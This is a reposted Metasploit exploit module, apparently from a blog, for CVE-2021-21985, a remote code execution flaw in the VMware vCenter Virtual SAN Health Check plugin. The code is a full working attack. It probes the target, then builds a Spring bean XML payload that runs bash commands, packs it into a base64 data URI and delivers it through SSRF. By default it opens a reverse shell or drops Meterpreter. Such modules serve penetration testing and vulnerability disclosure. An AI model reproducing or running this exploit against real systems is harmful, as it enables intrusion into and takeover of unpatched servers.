Monday, July 19, 2021

VMware vCenter Server Virtual SAN Health Check Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server Virtual SAN Health Check Plugin RCE',
'Description' => %q{
This module exploits Java unsafe reflection and SSRF in the VMware
vCenter Server Virtual SAN Health Check plugin's ProxygenController
class to execute code as the vsphere-ui user.

See the vendor advisory for affected and patched versions. Tested
against VMware vCenter Server 6.7 Update 3m (Linux appliance).
},
'Author' => [
'Ricter Z', # Discovery and PoC used
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2021-21985'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0010.html'],
['URL', 'https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis'],
['URL', 'http://noahblog.360.cn/vcenter-cve-2021-2021-21985/'],
# Other great writeups!
['URL', 'https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/'],
['URL', 'https://testbnull.medium.com/a-quick-look-at-cve-2021-21985-vcenter-pre-auth-rce-9ecd459150a5'],
['URL', 'https://y4y.space/2021/06/04/learning-jndi-injection-from-cve-2021-21985/'],
['URL', 'https://github.com/alt3kx/CVE-2021-21985_PoC']
],
'DisclosureDate' => '2021-05-25',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'], # TODO: Windows?
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [FIRST_ATTEMPT_FAIL], # SSRF can be a little finicky
'SideEffects' => [
IOC_IN_LOGS, # /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log
ARTIFACTS_ON_DISK # CmdStager
]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
# https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty'
),
'ctype' => 'application/json',
'data' => {
'methodInput' => ['user.name', nil]
}.to_json
)

return CheckCode::Unknown unless res

unless res.code == 200 && res.get_json_document['result'] == 'vsphere-ui'
return CheckCode::Safe
end

CheckCode::Vulnerable('System property user.name is vsphere-ui.')
end

def exploit
print_status("Executing #{payload_instance.refname} (#{target.name})")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status(cmd)

url = OfflineBundle.new(cmd).to_url

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages'
),
'ctype' => 'application/json',
'data' => {
'methodInput' => [
["https://localhost/vsanHealth/vum/driverOfflineBundle/#{url}"],
false # lazyInit
]
}.to_json
)

fail_with(Failure::PayloadFailed, cmd) unless res&.code == 200
end

class OfflineBundle
attr_accessor :cmd

def initialize(cmd)
@cmd = cmd
end

def to_xml
bean = Rex::Text.rand_text_alpha_lower(8..16)
prop = Rex::Text.rand_text_alpha_lower(8..16)

# https://www.tutorialspoint.com/spring/spring_bean_definition.htm
<<~XML
<beans>
<bean id="#{bean}" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[#{cmd}]]></value>
</list>
</constructor-arg>
<property name="#{prop}" value="\#{#{bean}.start()}"/>
</bean>
</beans>
XML
end

def to_zip
Msf::Util::EXE.to_zip([
fname: 'offline_bundle.xml',
data: to_xml.gsub(/^\s+/, '').tr("\n", '')
])
end

def to_url
# https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
"data:application/zip;base64,#{Rex::Text.encode_base64(to_zip)}"
end
end

end
 

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Thanks for everything Templateism - You should have written the code a little more complicated